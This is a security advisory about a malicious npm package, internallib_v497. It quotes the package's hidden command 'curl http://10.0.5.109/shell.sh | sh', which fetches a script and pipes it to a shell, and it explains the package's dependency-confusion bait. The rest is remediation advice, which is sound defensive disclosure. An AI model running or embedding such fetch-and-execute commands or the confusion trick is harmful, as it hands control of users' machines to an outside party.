MAL-2026-16438 Malicious code in internallib_v497 (npm)

npm package [email protected] ships an index.js that exports a function which shell-executes curl http://10.0.5.109/shell.sh | sh via child_process.exec('/bin/bash -c...'), fetching an unauthenticated script over plain HTTP from a private RFC1918 address and piping it to a shell. Any consumer that requires the module and invokes the exported command() runs whatever code is served at 10.0.5.109 on the installer host. The package.json additionally declares its own name internallib_v497 as a dependency (^1.0.0), matching the classic dependency-confusion bait shape: an organization that maintains a private package by this name and resolves it from the public npm registry will pull this artifact and execute its payload.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
